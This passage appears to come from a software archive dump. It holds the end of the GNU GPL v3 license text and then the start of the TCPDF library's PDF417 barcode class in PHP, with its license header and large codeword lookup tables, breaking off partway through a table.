the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: <program> Copyright (C) <year> <name of author> This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see <http://www.gnu.org/licenses/>. The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read <http://www.gnu.org/philosophy/why-not-lgpl.html>. ********************************************************************** ********************************************************************** PK���\��P�����visolutions/tcpdf/pdf417.phpnu&1i�<?php //============================================================+ // File name : pdf417.php // Version : 1.0.004 // Begin : 2010-06-03 // Last Update : 2012-02-06 // Author : Nicola Asuni - Tecnick.com LTD - Manor Coach House, Church Hill, Aldershot, Hants, GU12 4RQ, UK - www.tecnick.com - info@tecnick.com // License : GNU-LGPL v3 (http://www.gnu.org/copyleft/lesser.html) // ------------------------------------------------------------------- // Copyright (C) 2010-2013 Nicola Asuni - Tecnick.com LTD // // This file is part of TCPDF software library. // // TCPDF is free software: you can redistribute it and/or modify it // under the terms of the GNU Lesser General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. // // TCPDF is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. // See the GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with TCPDF. If not, see <http://www.gnu.org/licenses/>. // // See LICENSE.TXT file for more information. // ------------------------------------------------------------------- // // DESCRIPTION : // // Class to create PDF417 barcode arrays for TCPDF class. // PDF417 (ISO/IEC 15438:2006) is a 2-dimensional stacked bar code created by Symbol Technologies in 1991. // It is one of the most popular 2D codes because of its ability to be read with slightly modified handheld laser or linear CCD scanners. // TECHNICAL DATA / FEATURES OF PDF417: // Encodable Character Set: All 128 ASCII Characters (including extended) // Code Type: Continuous, Multi-Row // Symbol Height: 3 - 90 Rows // Symbol Width: 90X - 583X // Bidirectional Decoding: Yes // Error Correction Characters: 2 - 512 // Maximum Data Characters: 1850 text, 2710 digits, 1108 bytes // //============================================================+ /** * @file * Class to create PDF417 barcode arrays for TCPDF class. * PDF417 (ISO/IEC 15438:2006) is a 2-dimensional stacked bar code created by Symbol Technologies in 1991. * (requires PHP bcmath extension) * @package com.tecnick.tcpdf * @author Nicola Asuni * @version 1.0.003 */ // definitions if (!defined('PDF417DEFS')) { /** * Indicate that definitions for this class are set */ define('PDF417DEFS', true); // ----------------------------------------------------- /** * Row height respect X dimension of single module */ define('ROWHEIGHT', 4); /** * Horizontal quiet zone in modules */ define('QUIETH', 2); /** * Vertical quiet zone in modules */ define('QUIETV', 2); } // end of definitions // #*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*# /** * @class PDF417 * Class to create PDF417 barcode arrays for TCPDF class. * PDF417 (ISO/IEC 15438:2006) is a 2-dimensional stacked bar code created by Symbol Technologies in 1991. * @package com.tecnick.tcpdf * @author Nicola Asuni * @version 1.0.003 */ class PDF417 { /** * Barcode array to be returned which is readable by TCPDF. * @protected */ protected $barcode_array = array(); /** * Start pattern. * @protected */ protected $start_pattern = '11111111010101000'; /** * Stop pattern. * @protected */ protected $stop_pattern = '111111101000101001'; /** * Array of text Compaction Sub-Modes (values 0xFB - 0xFF are used for submode changers). * @protected */ protected $textsubmodes = array( array(0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x20,0xFD,0xFE,0xFF), // Alpha array(0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6a,0x6b,0x6c,0x6d,0x6e,0x6f,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7a,0x20,0xFD,0xFE,0xFF), // Lower array(0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x26,0x0d,0x09,0x2c,0x3a,0x23,0x2d,0x2e,0x24,0x2f,0x2b,0x25,0x2a,0x3d,0x5e,0xFB,0x20,0xFD,0xFE,0xFF), // Mixed array(0x3b,0x3c,0x3e,0x40,0x5b,0x5c,0x5d,0x5f,0x60,0x7e,0x21,0x0d,0x09,0x2c,0x3a,0x0a,0x2d,0x2e,0x24,0x2f,0x22,0x7c,0x2a,0x28,0x29,0x3f,0x7b,0x7d,0x27,0xFF) // Puntuaction ); /** * Array of switching codes for Text Compaction Sub-Modes. * @protected */ protected $textlatch = array( '01' => array(27), '02' => array(28), '03' => array(28,25), // '10' => array(28,28), '12' => array(28), '13' => array(28,25), // '20' => array(28), '21' => array(27), '23' => array(25), // '30' => array(29), '31' => array(29,27), '32' => array(29,28) // ); /** * Clusters of codewords (0, 3, 6)<br/> * Values are hex equivalents of binary representation of bars (1 = bar, 0 = space).<br/> * The codewords numbered from 900 to 928 have special meaning, some enable to switch between modes in order to optimise the code:<ul> * <li>900 : Switch to "Text" mode</li> * <li>901 : Switch to "Byte" mode</li> * <li>902 : Switch to "Numeric" mode</li> * <li>903 - 912 : Reserved</li> * <li>913 : Switch to "Octet" only for the next codeword</li> * <li>914 - 920 : Reserved</li> * <li>921 : Initialization</li> * <li>922 : Terminator codeword for Macro PDF control block</li> * <li>923 : Sequence tag to identify the beginning of optional fields in the Macro PDF control block</li> * <li>924 : Switch to "Byte" mode (If the total number of byte is multiple of 6)</li> * <li>925 : Identifier for a user defined Extended Channel Interpretation (ECI)</li> * <li>926 : Identifier for a general purpose ECI format</li> * <li>927 : Identifier for an ECI of a character set or code page</li> * <li>928 : Macro marker codeword to indicate the beginning of a Macro PDF Control Block</li> * </ul> * @protected */ protected $clusters = array( array( // cluster 0 ----------------------------------------------------------------------- 0x1d5c0,0x1eaf0,0x1f57c,0x1d4e0,0x1ea78,0x1f53e,0x1a8c0,0x1d470,0x1a860,0x15040, // 10 0x1a830,0x15020,0x1adc0,0x1d6f0,0x1eb7c,0x1ace0,0x1d678,0x1eb3e,0x158c0,0x1ac70, // 20 0x15860,0x15dc0,0x1aef0,0x1d77c,0x15ce0,0x1ae78,0x1d73e,0x15c70,0x1ae3c,0x15ef0, // 30 0x1af7c,0x15e78,0x1af3e,0x15f7c,0x1f5fa,0x1d2e0,0x1e978,0x1f4be,0x1a4c0,0x1d270, // 40 0x1e93c,0x1a460,0x1d238,0x14840,0x1a430,0x1d21c,0x14820,0x1a418,0x14810,0x1a6e0, // 50 0x1d378,0x1e9be,0x14cc0,0x1a670,0x1d33c,0x14c60,0x1a638,0x1d31e,0x14c30,0x1a61c, // 60 0x14ee0,0x1a778,0x1d3be,0x14e70,0x1a73c,0x14e38,0x1a71e,0x14f78,0x1a7be,0x14f3c, // 70 0x14f1e,0x1a2c0,0x1d170,0x1e8bc,0x1a260,0x1d138,0x1e89e,0x14440,0x1a230,0x1d11c, // 80 0x14420,0x1a218,0x14410,0x14408,0x146c0,0x1a370,0x1d1bc,0x14660,0x1a338,0x1d19e, // 90 0x14630,0x1a31c,0x14618,0x1460c,0x14770,0x1a3bc,0x14738,0x1a39e,0x1471c,0x147bc, // 100 0x1a160,0x1d0b8,0x1e85e,0x14240,0x1a130,0x1d09c,0x14220,0x1a118,0x1d08e,0x14210, // 110 0x1a10c,0x14208,0x1a106,0x14360,0x1a1b8,0x1d0de,0x14330,0x1a19c,0x14318,0x1a18e, // 120 0x1430c,0x14306,0x1a1de,0x1438e,0x14140,0x1a0b0,0x1d05c,0x14120,0x1a098,0x1d04e, // 130 0x14110,0x1a08c,0x14108,0x1a086,0x14104,0x141b0,0x14198,0x1418c,0x140a0,0x1d02e, // 140 0x1a04c,0x1a046,0x14082,0x1cae0,0x1e578,0x1f2be,0x194c0,0x1ca70,0x1e53c,0x19460, // 150 0x1ca38,0x1e51e,0x12840,0x19430,0x12820,0x196e0,0x1cb78,0x1e5be,0x12cc0,0x19670, // 160 0x1cb3c,0x12c60,0x19638,0x12c30,0x12c18,0x12ee0,0x19778,0x1cbbe,0x12e70,0x1973c, // 170 0x12e38,0x12e1c,0x12f78,0x197be,0x12f3c,0x12fbe,0x1dac0,0x1ed70,0x1f6bc,0x1da60, // 180 0x1ed38,0x1f69e,0x1b440,0x1da30,0x1ed1c,0x1b420,0x1da18,0x1ed0e,0x1b410,0x1da0c, // 190 0x192c0,0x1c970,0x1e4bc,0x1b6c0,0x19260,0x1c938,0x1e49e,0x1b660,0x1db38,0x1ed9e, // 200 0x16c40,0x12420,0x19218,0x1c90e,0x16c20,0x1b618,0x16c10,0x126c0,0x19370,0x1c9bc, // 210 0x16ec0,0x12660,0x19338,0x1c99e,0x16e60,0x1b738,0x1db9e,0x16e30,0x12618,0x16e18, // 220 0x12770,0x193bc,0x16f70,0x12738,0x1939e,0x16f38,0x1b79e,0x16f1c,0x127bc,0x16fbc, // 230 0x1279e,0x16f9e,0x1d960,0x1ecb8,0x1f65e,0x1b240,0x1d930,0x1ec9c,0x1b220,0x1d918, // 240 0x1ec8e,0x1b210,0x1d90c,0x1b208,0x1b204,0x19160,0x1c8b8,0x1e45e,0x1b360,0x19130, // 250 0x1c89c,0x16640,0x12220,0x1d99c,0x1c88e,0x16620,0x12210,0x1910c,0x16610,0x1b30c, // 260 0x19106,0x12204,0x12360,0x191b8,0x1c8de,0x16760,0x12330,0x1919c,0x16730,0x1b39c, // 270 0x1918e,0x16718,0x1230c,0x12306,0x123b8,0x191de,0x167b8,0x1239c,0x1679c,0x1238e, // 280 0x1678e,0x167de,0x1b140,0x1d8b0,0x1ec5c,0x1b120,0x1d898,0x1ec4e,0x1b110,0x1d88c, // 290 0x1b108,0x1d886,0x1b104,0x1b102,0x12140,0x190b0,0x1c85c,0x16340,0x12120,0x19098, // 300 0x1c84e,0x16320,0x1b198,0x1d8ce,0x16310,0x12108,0x19086,0x16308,0x1b186,0x16304, // 310 0x121b0,0x190dc,0x163b0,0x12198,0x190ce,0x16398,0x1b1ce,0x1638c,0x12186,0x16386, // 320 0x163dc,0x163ce,0x1b0a0,0x1d858,0x1ec2e,0x1b090,0x1d84c,0x1b088,0x1d846,0x1b084, // 330 0x1b082,0x120a0,0x19058,0x1c82e,0x161a0,0x12090,0x1904c,0x16190,0x1b0cc,0x19046, // 340 0x16188,0x12084,0x16184,0x12082,0x120d8,0x161d8,0x161cc,0x161c6,0x1d82c,0x1d826, // 350 0x1b042,0x1902c,0x12048,0x160c8,0x160c4,0x160c2,0x18ac0,0x1c570,0x1e2bc,0x18a60, // 360 0x1c538,0x11440,0x18a30,0x1c51c,0x11420,0x18a18,0x11410,0x11408,0x116c0,0x18b70, // 370 0x1c5bc,0x11660,0x18b38,0x1c59e,0x11630,0x18b1c,0x11618,0x1160c,0x11770,0x18bbc, // 380 0x11738,0x18b9e,0x1171c,0x117bc,0x1179e,0x1cd60,0x1e6b8,0x1f35e,0x19a40,0x1cd30, // 390 0x1e69c,0x19a20,0x1cd18,0x1e68e,0x19a10,0x1cd0c,0x19a08,0x1cd06,0x18960,0x1c4b8, // 400 0x1e25e,0x19b60,0x18930,0x1c49c,0x13640,0x11220,0x1cd9c,0x1c48e,0x13620,0x19b18, // 410 0x1890c,0x13610,0x11208,0x13608,0x11360,0x189b8,0x1c4de,0x13760,0x11330,0x1cdde, // 420 0x13730,0x19b9c,0x1898e,0x13718,0x1130c,0x1370c,0x113b8,0x189de,0x137b8,0x1139c, // 430 0x1379c,0x1138e,0x113de,0x137de,0x1dd40,0x1eeb0,0x1f75c,0x1dd20,0x1ee98,0x1f74e, // 440 0x1dd10,0x1ee8c,0x1dd08,0x1ee86,0x1dd04,0x19940,0x1ccb0,0x1e65c,0x1bb40,0x19920, // 450 0x1eedc,0x1e64e,0x1bb20,0x1dd98,0x1eece,0x1bb10,0x19908,0x1cc86,0x1bb08,0x1dd86, // 460 0x19902,0x11140,0x188b0,0x1c45c,0x13340,0x11120,0x18898,0x1c44e,0x17740,0x13320, // 470 0x19998,0x1ccce,0x17720,0x1bb98,0x1ddce,0x18886,0x17710,0x13308,0x19986,0x17708, // 480 0x11102,0x111b0,0x188dc,0x133b0,0x11198,0x188ce,0x177b0,0x13398,0x199ce,0x17798, // 490 0x1bbce,0x11186,0x13386,0x111dc,0x133dc,0x111ce,0x177dc,0x133ce,0x1dca0,0x1ee58, // 500 0x1f72e,0x1dc90,0x1ee4c,0x1dc88,0x1ee46,0x1dc84,0x1dc82,0x198a0,0x1cc58,0x1e62e, // 510 0x1b9a0,0x19890,0x1ee6e,0x1b990,0x1dccc,0x1cc46,0x1b988,0x19884,0x1b984,0x19882, // 520 0x1b982,0x110a0,0x18858,0x1c42e,0x131a0,0x11090,0x1884c,0x173a0,0x13190,0x198cc, // 530 0x18846,0x17390,0x1b9cc,0x11084,0x17388,0x13184,0x11082,0x13182,0x110d8,0x1886e, // 540 0x131d8,0x110cc,0x173d8,0x131cc,0x110c6,0x173cc,0x131c6,0x110ee,0x173ee,0x1dc50, // 550 0x1ee2c,0x1dc48,0x1ee26,0x1dc44,0x1dc42,0x19850,0x1cc2c,0x1b8d0,0x19848,0x1cc26, // 560 0x1b8c8,0x1dc66,0x1b8c4,0x19842,0x1b8c2,0x11050,0x1882c,0x130d0,0x11048,0x18826, // 570 0x171d0,0x130c8,0x19866,0x171c8,0x1b8e6,0x11042,0x171c4,0x130c2,0x171c2,0x130ec, // 580 0x171ec,0x171e6,0x1ee16,0x1dc22,0x1cc16,0x19824,0x19822,0x11028,0x13068,0x170e8, // 590 0x11022,0x13062,0x18560,0x10a40,0x18530,0x10a20,0x18518,0x1c28e,0x10a10,0x1850c, // 600 0x10a08,0x18506,0x10b60,0x185b8,0x1c2de,0x10b30,0x1859c,0x10b18,0x1858e,0x10b0c, // 610 0x10b06,0x10bb8,0x185de,0x10b9c,0x10b8e,0x10bde,0x18d40,0x1c6b0,0x1e35c,0x18d20, // 620 0x1c698,0x18d10,0x1c68c,0x18d08,0x1c686,0x18d04,0x10940,0x184b0,0x1c25c,0x11b40, // 630 0x10920,0x1c6dc,0x1c24e,0x11b20,0x18d98,0x1c6ce,0x11b10,0x10908,0x18486,0x11b08, // 640 0x18d86,0x10902,0x109b0,0x184dc,0x11bb0,0x10998,0x184ce,0x11b98,0x18dce,0x11b8c, // 650 0x10986,0x109dc,0x11bdc,0x109ce,0x11bce,0x1cea0,0x1e758,0x1f3ae,0x1ce90,0x1e74c, // 660 0x1ce88,0x1e746,0x1ce84,0x1ce82,0x18ca0,0x1c658,0x19da0,0x18c90,0x1c64c,0x19d90, // 670 0x1cecc,0x1c646,0x19d88,0x18c84,0x19d84,0x18c82,0x19d82,0x108a0,0x18458,0x119a0, // 680 0x10890,0x1c66e,0x13ba0,0x11990,0x18ccc,0x18446,0x13b90,0x19dcc,0x10884,0x13b88, // 690 0x11984,0x10882,0x11982,0x108d8,0x1846e,0x119d8,0x108cc,0x13bd8,0x119cc,0x108c6, // 700 0x13bcc,0x119c6,0x108ee,0x119ee,0x13bee,0x1ef50,0x1f7ac,0x1ef48,0x1f7a6,0x1ef44, // 710 0x1ef42,0x1ce50,0x1e72c,0x1ded0,0x1ef6c,0x1e726,0x1dec8,0x1ef66,0x1dec4,0x1ce42, // 720 0x1dec2,0x18c50,0x1c62c,0x19cd0,0x18c48,0x1c626,0x1bdd0,0x19cc8,0x1ce66,0x1bdc8, // 730 0x1dee6,0x18c42,0x1bdc4,0x19cc2,0x1bdc2,0x10850,0x1842c,0x118d0,0x10848,0x18426, // 740 0x139d0,0x118c8,0x18c66,0x17bd0,0x139c8,0x19ce6,0x10842,0x17bc8,0x1bde6,0x118c2, // 750 0x17bc4,0x1086c,0x118ec,0x10866,0x139ec,0x118e6,0x17bec,0x139e6,0x17be6,0x1ef28, // 760 0x1f796,0x1ef24,0x1ef22,0x1ce28,0x1e716,0x1de68,0x1ef36,0x1de64,0x1ce22,0x1de62, // 770 0x18c28,0x1c616,0x19c68,0x18c24,0x1bce8,0x19c64,0x18c22,0x1bce4,0x19c62,0x1bce2, // 780 0x10828,0x18416,0x11868,0x18c36,0x138e8,0x11864,0x10822,0x179e8,0x138e4,0x11862, // 790 0x179e4,0x138e2,0x179e2,0x11876,0x179f6,0x1ef12,0x1de34,0x1de32,0x19c34,0x1bc74, // 800 0x1bc72,0x11834,0x13874,0x178f4,0x178f2,0x10540,0x10520,0x18298,0x10510,0x10508, // 810 0x10504,0x105b0,0x10598,0x1058c,0x10586,0x105dc,0x105ce,0x186a0,0x18690,0x1c34c, // 820 0x18688,0x1c346,0x18684,0x18682,0x104a0,0x18258,0x10da0,0x186d8,0x1824c,0x10d90, // 830 0x186cc,0x10d88,0x186c6,0x10d84,0x10482,0x10d82,0x104d8,0x1826e,0x10dd8,0x186ee, // 840 0x10dcc,0x104c6,0x10dc6,0x104ee,0x10dee,0x1c750,0x1c748,0x1c744,0x1c742,0x18650, // 850 0x18ed0,0x1c76c,0x1c326,0x18ec8,0x1c766,0x18ec4,0x18642,0x18ec2,0x10450,0x10cd0, // 860 0x10448,0x18226,0x11dd0,0x10cc8,0x10444,0x11dc8,0x10cc4,0x10442,0x11dc4,0x10cc2, // 870 0x1046c,0x10cec,0x10466,0x11dec,0x10ce6,0x11de6,0x1e7a8,0x1e7a4,0x1e7a2,0x1c728, // 880 0x1cf68,0x1e7b6,0x1cf64,0x1c722,0x1cf62,0x18628,0x1c316,0x18e68,0x1c736,0x19ee8, // 890 0x18e64,0x18622,0x19ee4,0x18e62,0x19ee2,0x10428,0x18216,0x10c68,0x18636,0x11ce8, // 900 0x10c64,0x10422,0x13de8,0x11ce4,0x10c62,0x13de4,0x11ce2,0x10436,0x10c76,0x11cf6, // 910 0x13df6,0x1f7d4,0x1f7d2,0x1e794,0x1efb4,0x1e792,0x1efb2,0x1c714,0x1cf34,0x1c712, // 920 0x1df74,0x1cf32,0x1df72,0x18614,0x18e34,0x18612,0x19e74,0x18e32,0x1bef4), // 929 array( // cluster 3 ----------------------------------------------------------------------- 0x1f560,0x1fab8,0x1ea40,0x1f530,0x1fa9c,0x1ea20,0x1f518,0x1fa8e,0x1ea10,0x1f50c, // 10 0x1ea08,0x1f506,0x1ea04,0x1eb60,0x1f5b8,0x1fade,0x1d640,0x1eb30,0x1f59c,0x1d620, // 20 0x1eb18,0x1f58e,0x1d610,0x1eb0c,0x1d608,0x1eb06,0x1d604,0x1d760,0x1ebb8,0x1f5de, // 30 0x1ae40,0x1d730,0x1eb9c,0x1ae20,0x1d718,0x1eb8e,0x1ae10,0x1d70c,0x1ae08,0x1d706, // 40 0x1ae04,0x1af60,0x1d7b8,0x1ebde,0x15e40,0x1af30,0x1d79c,0x15e20,0x1af18,0x1d78e, // 50 0x15e10,0x1af0c,0x15e08,0x1af06,0x15f60,0x1afb8,0x1d7de,0x15f30,0x1af9c,0x15f18, // 60 0x1af8e,0x15f0c,0x15fb8,0x1afde,0x15f9c,0x15f8e,0x1e940,0x1f4b0,0x1fa5c,0x1e920, // 70 0x1f498,0x1fa4e,0x1e910,0x1f48c,0x1e908,0x1f486,0x1e904,0x1e902,0x1d340,0x1e9b0, // 80 0x1f4dc,0x1d320,0x1e998,0x1f4ce,0x1d310,0x1e98c,0x1d308,0x1e986,0x1d304,0x1d302, // 90 0x1a740,0x1d3b0,0x1e9dc,0x1a720,0x1d398,0x1e9ce,0x1a710,0x1d38c,0x1a708,0x1d386, // 100 0x1a704,0x1a702,0x14f40,0x1a7b0,0x1d3dc,0x14f20,0x1a798,0x1d3ce,0x14f10,0x1a78c, // 110 0x14f08,0x1a786,0x14f04,0x14fb0,0x1a7dc,0x14f98,0x1a7ce,0x14f8c,0x14f86,0x14fdc, // 120 0x14fce,0x1e8a0,0x1f458,0x1fa2e,0x1e890,0x1f44c,0x1e888,0x1f446,0x1e884,0x1e882, // 130 0x1d1a0,0x1e8d8,0x1f46e,0x1d190,0x1e8cc,0x1d188,0x1e8c6,0x1d184,0x1d182,0x1a3a0, // 140 0x1d1d8,0x1e8ee,0x1a390,0x1d1cc,0x1a388,0x1d1c6,0x1a384,0x1a382,0x147a0,0x1a3d8, // 150 0x1d1ee,0x14790,0x1a3cc,0x14788,0x1a3c6,0x14784,0x14782,0x147d8,0x1a3ee,0x147cc, // 160 0x147c6,0x147ee,0x1e850,0x1f42c,0x1e848,0x1f426,0x1e844,0x1e842,0x1d0d0,0x1e86c, // 170 0x1d0c8,0x1e866,0x1d0c4,0x1d0c2,0x1a1d0,0x1d0ec,0x1a1c8,0x1d0e6,0x1a1c4,0x1a1c2, // 180 0x143d0,0x1a1ec,0x143c8,0x1a1e6,0x143c4,0x143c2,0x143ec,0x143e6,0x1e828,0x1f416, // 190 0x1e824,0x1e822,0x1d068,0x1e836,0x1d064,0x1d062,0x1a0e8,0x1d076,0x1a0e4,0x1a0e2, // 200 0x141e8,0x1a0f6,0x141e4,0x141e2,0x1e814,0x1e812,0x1d034,0x1d032,0x1a074,0x1a072, // 210 0x1e540,0x1f2b0,0x1f95c,0x1e520,0x1f298,0x1f94e,0x1e510,0x1f28c,0x1e508,0x1f286, // 220 0x1e504,0x1e502,0x1cb40,0x1e5b0,0x1f2dc,0x1cb20,0x1e598,0x1f2ce,0x1cb10,0x1e58c, // 230 0x1cb08,0x1e586,0x1cb04,0x1cb02,0x19740,0x1cbb0,0x1e5dc,0x19720,0x1cb98,0x1e5ce, // 240 0x19710,0x1cb8c,0x19708,0x1cb86,0x19704,0x19702,0x12f40,0x197b0,0x1cbdc,0x12f20, // 250 0x19798,0x1cbce,0x12f10,0x1978c,0x12f08,0x19786,0x12f04,0x12fb0,0x197dc,0x12f98, // 260 0x197ce,0x12f8c,0x12f86,0x12fdc,0x12fce,0x1f6a0,0x1fb58,0x16bf0,0x1f690,0x1fb4c, // 270 0x169f8,0x1f688,0x1fb46,0x168fc,0x1f684,0x1f682,0x1e4a0,0x1f258,0x1f92e,0x1eda0, // 280 0x1e490,0x1fb6e,0x1ed90,0x1f6cc,0x1f246,0x1ed88,0x1e484,0x1ed84,0x1e482,0x1ed82, // 290 0x1c9a0,0x1e4d8,0x1f26e,0x1dba0,0x1c990,0x1e4cc,0x1db90,0x1edcc,0x1e4c6,0x1db88, // 300 0x1c984,0x1db84,0x1c982,0x1db82,0x193a0,0x1c9d8,0x1e4ee,0x1b7a0,0x19390,0x1c9cc, // 310 0x1b790,0x1dbcc,0x1c9c6,0x1b788,0x19384,0x1b784,0x19382,0x1b782,0x127a0,0x193d8, // 320 0x1c9ee,0x16fa0,0x12790,0x193cc,0x16f90,0x1b7cc,0x193c6,0x16f88,0x12784,0x16f84, // 330 0x12782,0x127d8,0x193ee,0x16fd8,0x127cc,0x16fcc,0x127c6,0x16fc6,0x127ee,0x1f650, // 340 0x1fb2c,0x165f8,0x1f648,0x1fb26,0x164fc,0x1f644,0x1647e,0x1f642,0x1e450,0x1f22c, // 350 0x1ecd0,0x1e448,0x1f226,0x1ecc8,0x1f666,0x1ecc4,0x1e442,0x1ecc2,0x1c8d0,0x1e46c, // 360 0x1d9d0,0x1c8c8,0x1e466,0x1d9c8,0x1ece6,0x1d9c4,0x1c8c2,0x1d9c2,0x191d0,0x1c8ec, // 370 0x1b3d0,0x191c8,0x1c8e6,0x1b3c8,0x1d9e6,0x1b3c4,0x191c2,0x1b3c2,0x123d0,0x191ec, // 380 0x167d0,0x123c8,0x191e6,0x167c8,0x1b3e6,0x167c4,0x123c2,0x167c2,0x123ec,0x167ec, // 390 0x123e6,0x167e6,0x1f628,0x1fb16,0x162fc,0x1f624,0x1627e,0x1f622,0x1e428,0x1f216, // 400 0x1ec68,0x1f636,0x1ec64,0x1e422,0x1ec62,0x1c868,0x1e436,0x1d8e8,0x1c864,0x1d8e4, // 410 0x1c862,0x1d8e2,0x190e8,0x1c876,0x1b1e8,0x1d8f6,0x1b1e4,0x190e2,0x1b1e2,0x121e8, // 420 0x190f6,0x163e8,0x121e4,0x163e4,0x121e2,0x163e2,0x121f6,0x163f6,0x1f614,0x1617e, // 430 0x1f612,0x1e414,0x1ec34,0x1e412,0x1ec32,0x1c834,0x1d874,0x1c832,0x1d872,0x19074, // 440 0x1b0f4,0x19072,0x1b0f2,0x120f4,0x161f4,0x120f2,0x161f2,0x1f60a,0x1e40a,0x1ec1a, // 450 0x1c81a,0x1d83a,0x1903a,0x1b07a,0x1e2a0,0x1f158,0x1f8ae,0x1e290,0x1f14c,0x1e288, // 460 0x1f146,0x1e284,0x1e282,0x1c5a0,0x1e2d8,0x1f16e,0x1c590,0x1e2cc,0x1c588,0x1e2c6, // 470 0x1c584,0x1c582,0x18ba0,0x1c5d8,0x1e2ee,0x18b90,0x1c5cc,0x18b88,0x1c5c6,0x18b84, // 480 0x18b82,0x117a0,0x18bd8,0x1c5ee,0x11790,0x18bcc,0x11788,0x18bc6,0x11784,0x11782, // 490 0x117d8,0x18bee,0x117cc,0x117c6,0x117ee,0x1f350,0x1f9ac,0x135f8,0x1f348,0x1f9a6, // 500 0x134fc,0x1f344,0x1347e,0x1f342,0x1e250,0x1f12c,0x1e6d0,0x1e248,0x1f126,0x1e6c8, // 510 